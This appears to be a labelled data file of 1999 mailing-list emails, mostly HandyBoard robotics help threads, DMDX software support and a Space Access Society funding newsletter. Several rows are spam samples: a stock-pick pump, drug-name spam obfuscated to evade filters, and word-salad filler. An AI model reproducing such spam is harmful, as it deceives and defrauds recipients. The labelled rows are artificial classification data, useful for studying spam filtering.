make a call to your local library information desk.) Compose a polite concise one-page latter to them, identifying yourself as a constituent of theirs, telling them what you'd like them to do, then briefly explaining why - just hit one or two high points, don't overexplain. Thank them for their attention, sign the letter, and send it. Paper mail is best if it can get there in time, fax is a close second (a voice call is good too) and email is way back in last place, as far as the chances of getting attention - staffers are aware paper mail, faxes, or phone calls take more effort, so they take these more seriously. If you can't fax, then phone their DC office number, ask for whoever handles NASA appropriations questions, then when connected to that staffer (or more likely their voice mail) tell them briefly who you are (""I'm Joe Smith from Missouri"") and what you want them to do, then (unless they have questions) thank them for their time and ring off. Thanks! Space Access Society www.space-access.org Senate Appropriations Committee Members * HUD/VA (NASA) Subcommittee member - Republicans Ted Stevens (AK), Chair Thad Cochran (MS) Arlen Specter (PA) Pete Domenici (NM) Christopher Bond (MO) * (Subcommittee chair) Slade Gorton (WA) Mitch McConnell (KY) Conrad Burns (MT) * Richard Shelby (AL) * Judd Gregg (NH) Robert Bennett (UT) Ben Nighthorse Campbell (CO) Larry Craig (ID) * Kay Bailey Hutchison (TX) * Jon Kyl (AZ) * - Democrats Robert Byrd (WV), Rnk. Mem. * Daniel Inouye (HI) Ernest Hollings (SC) Patrick Leahy (VT) * Frank Lautenberg (NJ) * Tom Harkin (IA) * Barbara Mikulski (MD) * (Subcommittee RMM) Harry Reid (NV) Herbert Kohl (WI) Patty Murray (WA) Byron Dorgan (ND) Dianne Feinstein (CA) Richard Durbin (IL) House Appropriations Committee Members * HUD/VA Subcommittee member C.W. Bill Young, Florida, Chairman Ralph Regula, Ohio Jerry Lewis, California John Edward Porter, Illinois Harold Rogers, Kentucky Joe Skeen, New Mexico Frank R. Wolf, Virginia Tom DeLay, Texas * Jim Kolbe, Arizona Ron Packard, California Sonny Callahan, Alabama James Walsh, New York * (Subcommittee chair) Charles H. Taylor, North Carolina David L. Hobson, Ohio * Ernest J. Istook, Jr., Oklahoma Henry Bonilla, Texas Joe Knollenberg, Michigan * Dan Miller, Florida Jay Dickey, Arkansas Jack Kingston, Georgia Rodney P. Frelinghuysen, New Jersey * Roger F. Wicker, Mississippi * Michael P. Forbes, New York George R. Nethercutt, Jr., Washington Randy ""Duke"" Cunningham, California Todd Tiahrt, Kansas Zach Wamp, Tennessee Tom Latham, Iowa Anne Northup, Kentucky * Robert Aderholt, Alabama Jo Ann Emerson, Missouri John E. Sununu, New Hampshire * Kay Granger, Texas John E. Peterson, Pennsylvania David R. Obey, Wisconsin John P. Murtha, Pennsylvania Norman D. Dicks, Washington Martin Olav Sabo, Minnesota Julian C. Dixon, California Steny H. Hoyer, Maryland Alan B. Mollohan, West Virginia * (Subcommittee RMM) Marcy Kaptur, Ohio * Nancy Pelosi, California Peter J. Visclosky, Indiana Nita M. Lowey, New York Jose E. Serrano, New York Rosa L. DeLauro, Connecticut James P. Moran, Virginia John W. Olver, Massachusetts Ed Pastor, Arizona Carrie P. Meek, Florida * David E. Price, North Carolina * Chet Edwards, Texas Robert E. ""Bud"" Cramer, Jr., Alabama * James E. Clyburn, South Carolina Maurice D. Hinchey, New York Lucille Roybal-Allard, California Sam Farr, California Jesse L. Jackson, Jr., Illinois Carolyn C. Kilpatrick, Michigan Allen Boyd, Florida *end* ========================================================================= Date: Tue, 20 Jul 1999 01:18:40 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Access Update #87 7/19/99 (fwd) Reply-To: delta-clipper@world.std.com Space Access Update #87 7/19/99 Copyright 1999 by Space Access Society __________________________________________________________________ Stories This Issue: - Key Weeks Here For Congressional RLV Funding in NASA, DOD - FAA RLV Launch/Reentry Regs Comment Period Closes Tuesday - Departed Friends - Thirty Years Since ""One Small Step"" - Editorial ________________________________________________________________________ Key Weeks For Congressional Space Funding Our two main Federal funding priorities this year are $50 million new money for NASA Future-X reusable rocket flight ops demos (""X-Ops"") done as small-business setasides in order to foster new competition in the space-launch market, and $35 million in new money for USAF reusable rocket upper stage work (the X-40B ""Space Maneuver Vehicle""). (See www.space-access.org/updates/sau81.html for more details.) Congress and the White House continue to maneuver over potential future surpluses, the '97 deficit deal spending caps, and tax cuts. Congress is trying to get the actual spending legislation, the dozen or so Appropriations Bills, done before the August congressional recess, so as to avoid late-September clock pressure (FY'00 actually starts October 1st) if the White House vetoes any of them. The '97 deficit deal caps have been partially dodged till now via creative accounting, but that won't work this year - the bills are coming due. The combination of the post-Kosovo defense increase and deferred cuts coming home to roost would mean something like a 10% cut to (among other things) NASA next year, *if* the caps are held to. The deficit hawks want to stick to the caps, the White House wants to forget about them, while much of the Congress is somewhere in between. The probable result is a compromise - we'd guess NASA will still be cut, but likely by a lot less than 10%. The short version of what this means for us is twofold: One, the actual money bill for NASA, the HUD, VA, and Independent Agencies FY'00 Appropriation, is now scheduled to be ""marked up"" in committee on the Senate side this coming Wednesday, July 21st, and in the House on Monday July 26th. These dates have slipped repeatedly in recent weeks, but we don't think there's much room for them to slip more without pushing them into September. The DOD appropriation, meanwhile, has already been passed by the Senate (with $25 million for USAF SMV), is likely to be passed by the House this week (with $12.5 million for USAF SMV), and (our best guess) will likely go to conference before the August recess - we plan to push hard for higher funding in the conference. Two, there will still be considerable pressure on NASA funding. Getting new money for Future-X reusable rocket flight ops demos, something we think is key to getting cheap space transportation in this generation, will take all the push we've got. We also, alas, need to oppose startup funding for the ""Spaceliner 100"" airbreathing space launcher project, as a matter of priorities - the RBCC engine technology just isn't there yet, and there simply isn't enough money to do needed near-term rocket work and start a premature ""NASP II"" project also - ""Spaceliner"" proponents have talked about spending $500 million through 2004. If either of your Senators, or your Representative is on an Appropriations committee (you can check at www.vote-smart.org) we need you - yes, you - to write them a letter or give them a phone call, and ask them to: - Add $50 million to NASA Future-X for reusable rocket low-cost flight operations demonstrations done as small business setasides. - Do not add any funding for the premature ""Spaceliner 100"" project, as a matter of priorities. The current deadline for the Senate is, Wednesday July 21st for the HUD/VA subcommittee markup, Thursday for the full Appropriations committee markup. In the House, next Monday for the HUD/VA subcommittee markup, Tuesday the full committee. These dates may yet slip again - but even if they do, your timely effort will be a huge help in getting what's needed in a very tight NASA budget. For more details on how to do this, see the Alerts we'll be sending out after this, or check our website, www.space-access.org. Thanks! ________________________________________________________________________ FAA RLV Launch/Reentry Regs Comment Period Closes Tuesday The ninety-day comment period on FAA AST's NPRM (Notice of Proposed Rulemaking) on Reusable Launch Vehicle (RLV) launch and reentry safety regulations closes Tuesday, July 20th - all comments must arrive at FAA in writing by close of business tomorrow. For any procrastinators among the affected parties, the .pdf text of the proposed regulations can be found at http://ast.faa.gov/licensing/regulations with a posting date of April 20th. ________________________________________________________________________ Departed Friends Most of you likely know by now that Pete Conrad, third man on the moon, only man to vertical-land rockets on two planets, and founder of the USL group of space operations companies, died last week after a motorcycle accident, and is being buried today in Arlington National Cemetary. Pete Conrad could have rested on his laurels after leaving NASA, but didn't - he continued actively advancing the space business as a key figure in the DC-X reusable rocket demonstrator program and then as founder and head of USL. If he'd lived another ten years, we wouldn't have bet against him landing on the Moon again, in a ship his company owned this time - and he would have been at the controls. Pete Conrad had his head in the stars but his feet firmly planted on the ground. Our sympathy goes out to his family and friends. We'll miss him. ________________________________________________________________________ Thirty Years Since ""One Small Step"" - Henry Vanderbilt, Executive Director, Space Access Society Thirty years ago this Tuesday, I recall a hot still summer afternoon in the bunkroom of our vacation shack in the Connecticut woods, my ear glued to my (six-transistor!) radio, finally hearing those words crackling over the air - ""Houston, this is Tranquility Base - the Eagle has landed."" I'd blown off going to the beach that day with the rest of my family, I was just too into following the Moon mission. Once they were actually down safely I was excited enough a thirteen-year-old that my dad drove us both back up to Boston so we could watch the first moonwalk on our old black-and-white TV that evening. I was totally pumped - a dream was coming true. If you had told me then that thirty years and near a half-trillion dollars later, the US would just be getting started on its second space station, twenty years after trashing the first, I would have thought you were nuts. Thirty years and a half-trillion dollars? A growing Lunar base for sure, likely a foothold on Mars too, miners fanning out to the asteroids, and the first probes to nearby stars leaving soon, that's what I would have reasonably expected. Tuesday July the 20th 1999 is a day to remember proudly what we've achieved in the past, but it's also a day to contemplate the decades of time and mountains of dollars we've wasted (and continue to waste) on bureaucratic self-perpetuation since Apollo. ""Keeping the team together"" in hindsight was the recipe for institutional sclerosis in what has become the NASA-Industrial complex. The massive manned-space part of the agency still hasn't recovered, and may never recover, absent political will to do what should have been done post-Apollo: Define a realistic new mission, and redesign the organization from scratch to meet it. In the last ten years, we've started moving forward again, taking chances again, building and flying X-vehicles, developing new engines (there are more new rocket engines in test in the US right now than at any time since the early sixties), and perhaps most radical of all, beginning to figure out how to do space the way that endures - at a profit. We are however doing this far more in spite of than aided by the institutional dinosaurs of the NASA-Industrial complex. We don't see any practical way to reform them; the bureaucratic and political inertia involved is massive. We anticipate that they will keep plodding along doing a hugely expensive minimal manned-space program until they stumble into some form of self-destruction. Our main hope is to bypass them, staying out from under the dinosaurs' feet when possible, giving them the occasional hotfoot when they do try to step on us. Not exactly the best of all possible worlds, thirty years after Neil Armstrong's giant leap for mankind - but it beats the hell out of no hope at all. It's a good day to think about all the hard work still ahead of us, and to resolve to never dig ourselves a hole this large again. ________________________________________________________________________ Space Access Society's sole purpose is to promote radical reductions in the cost of reaching space. You may redistribute this Update in any medium you choose, as long as you do it unedited in its entirety. ________________________________________________________________________ Space Access Society http://www.space-access.org space.access@space-access.org ""Reach low orbit and you're halfway to anywhere in the Solar System"" - Robert A. Heinlein >From VM Thu Jul 22 14:50:09 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""360"" ""Thursday"" ""22"" ""July"" ""1999"" ""12:57:12"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""10"" ""starship-design: Clarke's Laws"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 360 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA11242 for starship-design-outgoing; Thu, 22 Jul 1999 12:57:17 -0700 (PDT) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA11231 for ; Thu, 22 Jul 1999 12:57:15 -0700 (PDT) Received: from dante35.u.washington.edu (nlindber@dante35.u.washington.edu [140.142.15.195]) by jason05.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA18602 for ; Thu, 22 Jul 1999 12:57:13 -0700 Received: from localhost (nlindber@localhost) by dante35.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA73348 for ; Thu, 22 Jul 1999 12:57:12 -0700 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: starship-design: Clarke's Laws Date: Thu, 22 Jul 1999 12:57:12 -0700 (PDT) Hello All, I have heard of Clarke's 2nd Law, ""All sufficiently advanced technology is indisitnguishable from magic"", But i have always heard that second-hand, usually in discussions about human ET relations. I was wondering if anyone on the group knew what the title of clarke's original essay/book having to do with the ""laws"" was. Thanks, Nels Lindberg",0,1 Kristina Toutanova ,cg@cs.uah.edu,"Sun, 11 Jul 1999 19:49:41 +0300",CG: Conceptual Graphs Workbench," We are pleased to announce the creation of a Conceptual Graphs Workbench available on the Web at: http://www.larflast.bas.bg:8080/. The features supported by the current implementation include: - Browsing and searching a CG Knowledge Base. - Editing Conceptual Graphs in display form (creating, modifying CGs through drag and drop of concepts, relations, contexts, etc.) - Importing from CGPRo format to display form. - Exporting from CGPRo to CGIF. (Comments are welcome, the module is not in a final version.) - Exporting from CGPRo to First Order Predicate Calculus. More information is available at the Web site. After a couple of days, user management will be added to the system. Note: From that site you may access a Natural Language Generator form Conceptual Graphs. It generates paragraph-long NL answers to questions about objects in the KB of CGs in two languages - German and Bulgarian. Instructions for use: In order for the applets to run properly (The Type Hierarchy browsing and the CG Editor are implemented through Java applets) the library swing-1.0.3 has to be downloaded from java.sun.com Installation: 1. For Internet Explorer and Netscape Communicator set classpath to point to swingall.jar For example: set classpath=d:\\swing-1.0.3\\swingall.jar;% classpath% This line can be added to Autoexec.bat or in System/Properties (for Windows NT) 2. For Netscape only you can copy the file swingall.jar into the classes directory of Netscape. Note: For some versions of IE you must have classpath pointing to classes.zip from JDK 1.1.x because the classes from the RMI packet are missing. Please send any comments to pavlin.prosyst@nat.bg or p_dobrev@prosyst.com or kris@lml.bas.bg (for CGIF and FOPC forms). ======================================================================== To post a message, send mail to cg@cs.uah.edu. To unsubscribe, send mail to majordomo@cs.uah.edu with the command 'unsubscribe cg' in the message body. ======================================================================== For help or administrative assistance, mail to owner-cg@cs.uah.edu ",0,1 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 11 Jul 1999 15:00:19 -0400",TAKE ME OFF THIS LIST ***,"Ive tried the method described @ the web site but it doesnt seem to work can you please take me off the list I no longer wish to recieve it. Thanks -Mike ",0,0 Martin Dupras ,handyboard@media.mit.edu,"Mon, 12 Jul 1999 16:35:08 +0100",Problem with accessing analog and digital ports on HB with IC2.81,"Hello, (newbie warning - I've read the FAQ and manuals, but I may still be missing something very trivial. Still, thanks for making it so far!) I just bought a handyboard from Gleason Research (with the expansion board) and started going through the hb and ic instructions. I'm running ic2.81 on a SGI O2 running IRIX 6.5. I've succesfully downloaded pcode_hb.s19 (if memory serves correctly) and when running IC, simple stuff works OK; I can use beeper_on and beeper_off withouth any problem, printf and a couple of other ones. On the other hand, I have tried connecting the switches that I received with the HB and if I test them with a multi-meter they work fine. But I get no reading on calls like analog(16), or any other ports for that matter. Also left_button() and right_button() always return the same thing. It looks like i've configured ic to look in the right place for the libraries. I've also moved and reconfigured everything to /usr/local/ directories as in the manual. Somehow, though, I must still be missing something. In the examples/instructions, it looks like there should be such functions as start_button() and stop_button() but those do not appear when I invoke the 'list functions' command under IC. My apologies if it's something trivial. Thanks! - martin ",0,0 meeden@cs.swarthmore.edu,handyboard@media.mit.edu,"Mon, 12 Jul 1999 12:05:10 -0400",Re: Subsumption Architecture ,"> Hello All: > > Reading ""Mobile Robots"" by Jones & Flynn has gotten me interested in > implementing subsumption architecture (also known as behavior control) > on my HandyBoard. I've found one site that has related material: > http://krusty.eecs.umich.edu/cogarch0/subsump/index.html > > 1. How many of your are (or have) playing with this programming > method on your HandyBoard. Please share your experiences, good and > bad. > > 2. Are you willing to share code? > > 3. Do you have an pertinent links to share? > Nick, I used Handy Boards in my AI class last year and have several labs available on the web. Check out the link: http://www.cs.swarthmore.edu/~meeden/ai/fall98.html Then look at the ""Lab 3"" link for some starter code on subsumption architecture. Lisa -- Lisa Meeden Computer Science Program Assistant Professor Swarthmore College meeden@cs.swarthmore.edu 500 College Ave. http://www.cs.swarthmore.edu/~meeden Swarthmore, PA 19081 610-328-8565 (voice) 610-328-8673 (fax) ",0,1 """M.J. Matthijsse"" ","""Handyboard (E-mail)"" ","Mon, 12 Jul 1999 19:42:32 +0200",Robots and HandyBoard site,"Hi, FYI I just started my own site with my hobby experiences in robotics. Subjects are Infrared & Ultrasonic distance measurement. Introducing a cheap alternative to Polaroid 6500's. I have a special on fuzzy logic, combined with IC and the HandyBoard. And many things more. Not everything is ready but ... time will help. To visit: http://robotics.dhs.org Any comments are welcome to me. Rgrds Rien ",0,1 """Fred G. Martin"" ",Martin Dupras ,"Mon, 12 Jul 1999 14:08:21 -0400",Re: Problem with accessing analog and digital ports on HB with IC2.81 ,"you have to use the HB libraries; you're probably using the 6.270 Board libraries. get the new libs from http://el.www.media.mit.edu/projects/handy-board/software/ . run 'ic -config' to change the default library to lib_hb.lis. fred In your message you said: > Hello, > > (newbie warning - I've read the FAQ and manuals, but I may still be > missing something very trivial. Still, thanks for making it so far!) > > I just bought a handyboard from Gleason Research (with the expansion > board) and started going through the hb and ic instructions. I'm running > ic2.81 on a SGI O2 running IRIX 6.5. > > I've succesfully downloaded pcode_hb.s19 (if memory serves correctly) > and when running IC, simple stuff works OK; I can use beeper_on and > beeper_off withouth any problem, printf and a couple of other ones. > > On the other hand, I have tried connecting the switches that I received > with the HB and if I test them with a multi-meter they work fine. But I > get no reading on calls like analog(16), or any other ports for that > matter. Also left_button() and right_button() always return the same > thing. > > It looks like i've configured ic to look in the right place for the > libraries. I've also moved and reconfigured everything to /usr/local/ > directories as in the manual. > > Somehow, though, I must still be missing something. In the > examples/instructions, it looks like there should be such functions as > start_button() and stop_button() but those do not appear when I invoke > the 'list functions' command under IC. > > My apologies if it's something trivial. > > Thanks! > > - martin > ",0,1 Eat Bugs! ,Handyboard list ,"Mon, 12 Jul 1999 18:40:26 -0400",Re: Subsumption Architecture,"Nick Taylor wrote: > > Hello All: > > Reading ""Mobile Robots"" by Jones & Flynn has gotten me interested in > implementing subsumption architecture (also known as behavior control) > on my HandyBoard. I've found one site that has related material: > http://krusty.eecs.umich.edu/cogarch0/subsump/index.html > > 1. How many of your are (or have) playing with this programming > method on your HandyBoard. Please share your experiences, good and > bad. > > 2. Are you willing to share code? > > 3. Do you have an pertinent links to share? I have used this method, to great effect. It seemed upon first try that it was just too darn big to do any good, but if you're creative it's really pretty efficient. I *would* share my code, but it all burned up in a fire (he-he). Actually, I was going to build a page with links to text files for all my code that I do for everything. When I thought of this I was doing a school project in Houston, with my Slackware running laptop. I got home and sold the box to my wife, who only uses windows. After I DOS formatted the harddrive, I realized that everything was still on the darn thing. Man, was I pissed! From now on I'm posting *ALL* of my code to a page, if only to protect it from myself! No links, except to tell you to look at the many sources for regular C programs. I was surprised to find that many of the functions that I used for my IC based bot (timers, I/O stuff, yada) could be ported from other code. The only benefit to this is it gave me the chance to really read code, and understand a lot more. Honestly it's usually easier and faster just to write it, but reading gave me a way to learn more! I'd be willing to host a free IC code site if people are interested. -- ""You have changed your mind. Restart Windows for changes to take effect."" _______________________________________________________________________ Jonathan Pennington | -Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" ----------------------------------------------------------------------- ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 12 Jul 1999 18:36:06 -0700",Re: Subsumption Architecture,"""Eat Bugs!"" wrote: [snip] > I have used this method, to great effect. It seemed upon first try that > it was just too darn big to do any good, but if you're creative it's > really pretty efficient. > > No links, except to tell you to look at the many sources for regular C > programs. I was surprised to find that many of the functions that I used > for my IC based bot (timers, I/O stuff, yada) could be ported from other > code. The only benefit to this is it gave me the chance to really read > code, and understand a lot more. Honestly it's usually easier and faster > just to write it, but reading gave me a way to learn more! > > I'd be willing to host a free IC code site if people are interested. > -- Jonathan: As a relative newbie I'd be very interested in seeing a HandyBoard code (IC and assembler) site. Copying and then modifying other people's code has been a great learning tool for me. Copying one person's work is plagiarism, copyying from several is research! Maybe implemented as a HandyBoard general resource site ... both hard and software ... some trouble shooting thrown in. Simple ideas like using servo tape on the bottom of the battery box holding a couple of 2x6 LEGO bricks ... a six dollar battery box on each 'bot ... things like that. - - Nick - - ",0,0 Lionel Tay ,"""handyboard@media.mit.edu"" ","Tue, 13 Jul 1999 15:48:00 +0800",No heartbeat when switch on,"Hello I had used the HB for a few days already. Recently when I used the HB to drive 4 9V motors, the L293D chips got very hot. After that it LEDs start lighting up without the software turning on the motors. So I replace the L293D chips. Now when I turned on the HB, all the LEDs for the motors lighted up. Also there is no pulse from the heartbeat. The IC program also cannot communicate with the HB. Regards Lionel ",0,0 blzdkysm zvlvnxki ,"handyboard@media.mit.edu, jacquelyn@media.mit.edu","Tue, 13 Jul 1999 14:39:04 +0700",Emerging growth [R E P O R T NEW PICK friday it is] abject experts,"Infinex Ventures Inc. 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Martin"" ",Lionel Tay ,"Tue, 13 Jul 1999 07:44:14 -0400",Re: No heartbeat when switch on ,"did you try reloading the operating program, pcode_hb.s19? use hbdl on windows or 6811 downloader mcl on macintosh. this program (pcode_hb.s19) must be resident on the HB at all times. it sounds like for whatever reason it got corrupted. this isn't anything to worry about, just reload. fred In your message you said: > Hello > > I had used the HB for a few days already. Recently when I used the HB to > drive 4 9V motors, the L293D chips got very hot. After that it LEDs > start lighting up without the software turning on the motors. So I > replace the L293D chips. Now when I turned on the HB, all the LEDs for > the motors lighted up. Also there is no pulse from the heartbeat. The IC > program also cannot communicate with the HB. > > Regards > Lionel > > ",0,0 """Lina T. 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Sims Senior Account Executive joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 http://www.ponycomputer.com http://www.ponycomputer.com/gsa ",0,1 Yrja Hardegree ,barry@aleve.media.mit.edu,"Tue, 13 Jul 1999 12:55:26 -0700",Re: good VAmLtUM,"Hi, C k I e A a L p I a S a V m I n A u G s R t A y V i A w L o I z U k M y X r A n N t A r X k http://www.relandanis.com rapidit vituperatio mercuria apolog pursestring Saint Jamess and has; his only connection was with Teagarten. ... Conklin hit pay dirt with Swayne and Armbruster, Teagarten and, of course, DeSole, but the other two are window dressing, quite respectable window dressing. I wonder how it happened. When I find out, and I will find out, Ill let you know, gratis. Oh? The attorney raised his eyebrows. How? ",1,1 MAR ERICSON ,Nick Taylor ,"Tue, 13 Jul 1999 20:41:35 -0400",Re: Subsumption Architecture,"For a Quicktime Demo of applied Subsumption at work, go to www.cooper.edu/~mar. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Fri, 9 Jul 1999, Nick Taylor wrote: > Hello All: > > Reading ""Mobile Robots"" by Jones & Flynn has gotten me interested in > implementing subsumption architecture (also known as behavior control) > on my HandyBoard. I've found one site that has related material: > http://krusty.eecs.umich.edu/cogarch0/subsump/index.html > > 1. How many of your are (or have) playing with this programming > method on your HandyBoard. Please share your experiences, good and > bad. > > 2. Are you willing to share code? > > 3. Do you have an pertinent links to share? > > At this point I've only begun to write any code, so I've none to > share ... and have only found the one link posted above. > > Thanks, > - Nick - > ",0,1 Jacklyn Townsend ,handyboard@media.mit.edu,"Wed, 14 Jul 1999 07:17:13 +0900",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"connect stevens fragmentary ravine labrador waistcoat carrageen deed lymphocyte born grilled twine voltaic earthmove efficacious gunfire spec dormitory saga anton wino moluccas sedate ",1,0 """KwangJu, Lee"" ",Handyboard ,"Wed, 14 Jul 1999 13:34:45 +0900",Two 6500 Sonar Module Trouble,"I've installed two 6500 sonar modules on HB. And they operated for a good while. But my HB got some electric shock, and the shock was remedied by downloading pcode. But after then, sonar modules have some trouble. In short, 1 sonar module works well. But when I connect 2 modules to HB power port simultaneously, sonar_sample() function returns always 620~670, impractical value. Does anybody know the reason? How can I make them work together? Would I need another power supply? Thanks. ",0,0 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 15:40:21 +0100",[DMDX] Cheap PCs,"I'm planning to buy some new PCs dedicated for testing using DMDX and was wondering just how much I need to spend. So I was wondering whether anyone has tried using DMDX with Celeron or AMD-based PCs? I notice there's a warning about Cyrix chips on the DMDX page, because they don't have a high performance counter. Thanks in advance, Gareth Gaskell ==================================================================== Dr. Gareth Gaskell -------------------------------------------------------------------- MRC Cognition and Brain Sciences Unit Fax: 01223 359062 15 Chaucer Road Phone: 01223 355294 xt 620 Cambridge CB2 2EF Email: gareth.gaskell@mrc-cbu.cam.ac.uk UK http://www.mrc-cbu.cam.ac.uk/personal/gareth.gaskell ==================================================================== ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 09:34:59 -0700",[DMDX] Re: Cheap PCs,"At 03:40 PM 7/14/99 +0100, you wrote: >I'm planning to buy some new PCs dedicated for testing using DMDX and was >wondering just how much I need to spend. > >So I was wondering whether anyone has tried using DMDX with Celeron or >AMD-based PCs? I notice there's a warning about Cyrix chips on the DMDX >page, because they don't have a high performance counter. My development systems are all celerons and the test machine is an AMD K6 so it works well on those processors. I don't recommend wasting money on P2s or P3s, it's almost impossible to measure the performance benefit with DMDX. If fact the AMD processors are likely to be faster clock for clock than the Intel devices. The element that makes the largest difference to DMDX is the video card and even here you have to want refresh rates in the order of >150Hz before you can justify the latest video cards (and you'd have to buy a wickedly expensive monitor for even >85Hz). Basically a TNT based video card with 16megs of ram for around $100US represents the top of the usually used hardware requirements (especially if you plan on using full color photographic stuff), otherwise a Riva128 based card with 4megs of video ram for around $50US will suffice. If you want tic durations lower than 11.5ms and are prepared to pay for a monitor to display them then a TNT2 or Matrox G400 could possibly be justified but even then the TNT specs have 200Hz in there. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He is truly wise who gains wisdom from another's mishap. ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Wed, 14 Jul 1999 10:03:59 -0700",Source for TI SN754410,"Hi All ... Will someone please point me to where I can buy SN754410 chips. I seem to have lost my bookmark. Thanks, - Nick - ",0,0 Glashans ,HandyBoard List ,"Wed, 14 Jul 1999 22:07:44 +0200",Stepper Motor problems,"Hi Again, I've been trying to get two stepper motors to work with my HB, with little success. Firstly the software by Peter Harrison does not seem to compile when I try to load it to the Board. The error is in line 29; "" int left_step_table[cycle_length] = {48,49,51,50}; "" - IC brings up a syntax error. Looking through the IC manual, I see that there should be no number between the square brackets, or am I wrong? when I remove the cycle_length IC brings up a whole lot of errors, mostly type incompatibilities. Also is there any way of boosting the current capabilities of the board without replacing the L293D's ? I am also looking for a replacment for the ZTX614, as no company seems to sell it in my area. Thanks in advance. Ross ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Jul 1999 09:36:11 +1000",[DMDX] VOX calibration,"I am experiencing incredible problems with making the DMDX VOX calibration work. When I press the VOX button in DMDX (V1.1.07) nothing happens. I have tried it on three machines, all Pentium 200 or faster. Has anyone else experienced a similar problem? Michael Johnston ",0,0 Eat Bugs! ,Handyboard list ,"Wed, 14 Jul 1999 17:45:29 -0400",Re: Source for TI SN754410,"Nick Taylor wrote: > > Hi All ... > > Will someone please point me to where I can buy SN754410 chips. > I seem to have lost my bookmark. I went to www.ti.com and got three of them for free. Search around and you'll find that they have samples of some things. I can't remember exactly where, but I found it from the main site. -- ""You have changed your mind. Restart Windows for changes to take effect."" _______________________________________________________________________ Jonathan Pennington | -Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna (I'm thinking!) root@localhost (Spambot food) | 71 Triumph TR6C ""Pieces"" ----------------------------------------------------------------------- ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 19:36:50 -0700",[DMDX] Re: VOX calibration,"At 09:36 AM 7/15/99 +1000, you wrote: >I am experiencing incredible problems with making the DMDX VOX calibration >work. When I press the VOX button in DMDX (V1.1.07) nothing happens. I have >tried it on three machines, all Pentium 200 or faster. Has anyone else >experienced a similar problem? You don't get a dialog labelled ""Set DigtialVOX Threshold""? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He is truly wise who gains wisdom from another's mishap. ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Jul 1999 13:11:41 +1000",[DMDX] Re: VOX calibration,"At 19:36 14/07/99 -0700, you wrote: >>I am experiencing incredible problems with making the DMDX VOX calibration >>work. When I press the VOX button in DMDX (V1.1.07) nothing happens. I have >>tried it on three machines, all Pentium 200 or faster. Has anyone else >>experienced a similar problem? > > You don't get a dialog labelled ""Set DigtialVOX Threshold""? Nope, I don't get anything at all. I press the button called ""VOX"", and the button depresses, but nothing else happens at all. Not a sausage. --Michael ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 Jul 1999 20:30:19 -0700",[DMDX] Re: VOX calibration,"At 01:11 PM 7/15/99 +1000, you wrote: >At 19:36 14/07/99 -0700, you wrote: > >>>I am experiencing incredible problems with making the DMDX VOX calibration >>>work. When I press the VOX button in DMDX (V1.1.07) nothing happens. I have >>>tried it on three machines, all Pentium 200 or faster. Has anyone else >>>experienced a similar problem? >> >> You don't get a dialog labelled ""Set DigtialVOX Threshold""? > >Nope, I don't get anything at all. I press the button called ""VOX"", and the >button depresses, but nothing else happens at all. Not a sausage. Hmm, that's odd. Only thing I can think of is that the dialog is somehow going behind the big blue window and therefore you can't see it, but I don't see that behavior on my systems so I suspect it might be somehting else. What happens when you run TimeDX's Sound test and press the record button? Does the signal strength bar show any signal? These are windows 95 or 98 boxes I take it, no NT stuff? What version of DirectX has been installed? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He is truly wise who gains wisdom from another's mishap. ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 15 Jul 1999 13:42:17 +1000",[DMDX] Re: VOX calibration,"At 20:30 14/07/99 -0700, you wrote: >At 01:11 PM 7/15/99 +1000, you wrote: >>At 19:36 14/07/99 -0700, you wrote: >> >>>>I am experiencing incredible problems with making the DMDX VOX calibration >>>>work. When I press the VOX button in DMDX (V1.1.07) nothing happens. I have >>>>tried it on three machines, all Pentium 200 or faster. Has anyone else >>>>experienced a similar problem? >>> >>> You don't get a dialog labelled ""Set DigtialVOX Threshold""? >> >>Nope, I don't get anything at all. I press the button called ""VOX"", and the >>button depresses, but nothing else happens at all. Not a sausage. > > Hmm, that's odd. Only thing I can think of is that the dialog is somehow >going behind the big blue window and therefore you can't see it, but I >don't see that behavior on my systems so I suspect it might be somehting >else. What happens when you run TimeDX's Sound test and press the record >button? Does the signal strength bar show any signal? These are windows >95 or 98 boxes I take it, no NT stuff? What version of DirectX has been 